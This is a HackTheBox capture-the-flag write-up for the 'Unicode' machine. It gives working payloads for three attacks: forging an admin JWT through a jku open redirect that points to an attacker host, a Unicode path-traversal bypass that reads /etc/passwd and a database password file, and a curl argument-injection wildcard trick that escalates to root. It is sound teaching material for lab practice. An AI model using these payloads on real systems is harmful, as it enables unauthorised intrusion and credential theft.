Unicode - [HTB]

Cover Image for Unicode - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Unicode is a medium Linux machine from HackTheBox where the attacker will have to find a way to use a redirect web page in order to modify a JWT gaining access to a dashboard as admin. Later, it will have to exploit an LFI vulnerability using Unicode characters to bypass the filter obtaining some credentials. Finally, it will have to exploit a wildcard vulnerability on a custom script that can be executed as root.

    Enumeration

    As always, let's start finding all opened ports in the machine with Nmap.

    kali@kali:~/Documents/HTB/Unicode$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.126
    Warning: 10.10.11.126 giving up on port because retransmission cap hit (2).
    Nmap scan report for 10.10.11.126
    Host is up (0.18s latency).
    Not shown: 65533 closed tcp ports (reset)
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    
    Read data files from: /usr/bin/../share/nmap

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Unicode$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80 10.10.11.126
    Nmap scan report for 10.10.11.126
    Host is up (0.17s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
    |   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
    |_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
    80/tcp open  http    nginx 1.18.0 (Ubuntu)
    |_http-generator: Hugo 0.83.1
    |_http-title: Hackmedia
    |_http-server-header: nginx/1.18.0 (Ubuntu)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Sat Dec  4 16:50:16 2021 -- 1 IP address (1 host up) scanned in 14.00 seconds

    Looking at port 80 there is a web page where we can register an account.

    Hackmedia

    We can see clicking a "Google about us" button that redirects us to google.com through an internal redirect page that requires the url parameter.

      <main class="px-3">
        <h1>Welcome to Hackmedia</h1>
        <p class="lead">we are world's largest company in Threat analisys..<br>You can </p>
        <p class="lead">
          <a href="/redirect/?url=google.com" class="btn btn-lg btn-secondary fw-bold border-white bg-white">Google about us</a>
        </p>
      </main>

    Furthermore, once registered we can access the hackmedia dashboard.

    Hackmedia dashboard

    Analyzing the cookies we can verify that the platform uses JWT that can decode using jwt.io.

    Hackmedia JWT decoded

    As we can see it uses RSA256 and jku in order to verify the signature of the token. Plus, inside the jku link we can find the public key for the signature verification.

    kali@kali:~/Documents/HTB/Unicode$ curl http://hackmedia.htb/static/jwks.json
    {
        "keys": [
            {
                "kty": "RSA",
                "use": "sig",
                "kid": "hackthebox",
                "alg": "RS256",
                "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
                "e": "AQAB"
            }
        ]
    }

    Exploitation 1

    Looking for ways to exploit the jku there is a post about how to hack JWT Tokens with jku. What we are going to do is to create our own jwt token changing the user as "admin". For doing so, we need to create a pair of public and private keys for jku with mjwk.

    jku generator

    However, the jku link has some kind of filtering so we need to keep the base URL http://hackmedia.htb/static/. Hence, we need to use the redirect function pointing to our web server.

    http://hackmedia.htb/static/../redirect/?url=<ATTACKER_IP>/jwks.json

    Finally, the jwt token and the jwks.json should look like this.

    JWT Modified
    kali@kali:/tmp$ cat jwks.json
    {
        "keys": [
            {
                "kty": "RSA",
                "use": "sig",
                "kid": "hackthebox",
                "alg": "RS256",
                "n": "8uEq2E6CNIBDVS9yayXUhrcGOzuUSlDVvYY3_M2ChjxmBkyCXf7dd6iP3C-ADmZYVpkHSkMTGptfcS5NKmk0uaMs0OsyKozS5Ks002cTvPbGBnho3LkhiyKU6Ifkh653f-IfCofeqeilrAZ5CaOBXxdCHOjz-01wrEH84fzHeZOjTbOfSim-6sjiPI9S23EGVbBsZQjR6ay94wLMeA7IR4kVrzQDTtEt1CTbwTwOwAvagCuOFtYx4Co1PJlQEeKAKbCEBodhsVkTqta6ar4C-le6vzWN5u5xRNcubwToL1Uik9SLCfWrnhoPnhvYPoxVKRttlzwRzoP7MAXTEPEHCw",
                "e": "AQAB"
            }
        ]
    }
    kali@kali:/tmp$ python -m SimpleHTTPServer 80

    Exploitation 2

    Once modified our token we should have access to the admin dashboard where we can access the "Saved reports" section.

    Admin dashboard

    Inspecting the URL we can see that maybe is vulnerable to LFI.

    http://10.10.11.126/display/?page=monthly.pdf

    Nonetheless, if we try the following path traversal bypass technique we obtain the following output.

    # Path traversal
    http://10.10.11.126/display/?page=../../../etc/passwd%00
    #Output
    we do a lot input filtering you can never bypass our filters. Have a good day

    Because the machine is named "Unicode" maybe we can pass this filter using Unicode characters. In this post, we can learn how to do it.

    http://10.10.11.126/display/?page=︰/︰/︰/︰/︰/etc/passwd

    The url encoded version looks like this.

    http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd

    Now, looking for the nginx default configuration there is a hint for a file with some stored credentials.

    server{
    #Change the Webroot from /home/code/coder/ to /var/www/html/
    #change the user password from db.yaml
    	listen 80;
    	location / {
    		proxy_pass http://localhost:8000;
    		include /etc/nginx/proxy_params;
    		proxy_redirect off;
    	}
    	location /static/{
    		alias /home/code/coder/static/styles/;
    	}
    
    }

    These credentials can be obtained through this link.

    # Link
    http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/home/code/coder/db.yaml
    
    # Output
    [...]
    mysql_host: "localhost"
    mysql_user: "code"
    mysql_password: "B3stC0d3r2021@@!"
    mysql_db: "user"

    Finally, we can gain access to the machine as code with the database creds.

    Privilege Escalation

    The user code can execute the file /usr/bin/treport as root.

    code@code:~$ sudo -l
    Matching Defaults entries for code on code:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User code may run the following commands on code:
        (root) NOPASSWD: /usr/bin/treport

    This binary uses the curl command to retrieve online reports using a URL as a parameter. This means that we can pass the wildcard ("*") so every file in the current directory can be interpreted as a parameter on the curl command. Furthermore, there is some kind of filtering because we can not use file:///root/root.txt.

    code@code:~$ sudo -l                                                           
    Matching Defaults entries for code on code:                                                                                                                   
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
                                                                                                                                                                  
    User code may run the following commands on code:         
        (root) NOPASSWD: /usr/bin/treport  
    code@code:~$ sudo /usr/bin/treport                                             
    1.Create Threat Report.                                                        
    2.Read Threat Report.                                                    
    3.Download A Threat Report.
    4.Quit.                                                            
    Enter your choice:3                                                       
    Enter the IP/file_name:*                                                                   
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current 
                                     Dload  Upload   Total   Spent    Left  Speed
      0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: coder
    curl: (6) Could not resolve host: treport
    curl: (6) Could not resolve host: user.txt          
    Enter your choice:3
    Enter the IP/file_name:127.0.0.1 file:///root/root.txt            
    INVALID IP
    Enter the IP/file_name:file:///root/root.txt
    INVALID URL
    

    In order to bypass the filter, we can use File:///root/root.txt, obtaining a new error where some directories must exist in order to store the report. So, here is where the wildcard takes part.

    code@code:~$ sudo /usr/bin/treport
    1.Create Threat Report.
    2.Read Threat Report.
    3.Download A Threat Report.
    4.Quit.
    Enter your choice:3
    Enter the IP/file_name:File:///root/root.txt
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
      0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /root/reports/threat_report_02_04_08: No 
    Warning: such file or directory
      0    33    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
    curl: (23) Failed writing body (0 != 33)

    The curl command has the --create-dirs parameter which creates all directories needed in order to store a file. Hence, if we create the files"--create-dirs" and "127.0.0.1" the command will be executed correctly allowing us to retrieve the root flag.

    These are the steps you should follow.

    mkdir /tmp/Marmeus; cd /tmp/Marmeus
    touch -- 127.0.0.1 --create-dirs
    sudo /usr/bin/treport
    
    Enter your choice:3
    Enter the IP/file_name:*
    
    Enter your choice:3
    Enter the IP/file_name:File:///root/root.txt
    
    Enter your choice:2             
    ALL THE THREAT REPORTS:                                                        
    threat_report_02_07_15 threat_report_02_07_32
    
    Enter the filename:threat_report_02_07_32
    [CENSORED]

    Note: This is the unintended way to solve the machine, so maybe this vulnerability is fixed once the machine is retired. The intended way is passing a python dictionary with the parameters {-K,/root/root.txt} for the URL command so it loads the flag as a configuration file for the curl command.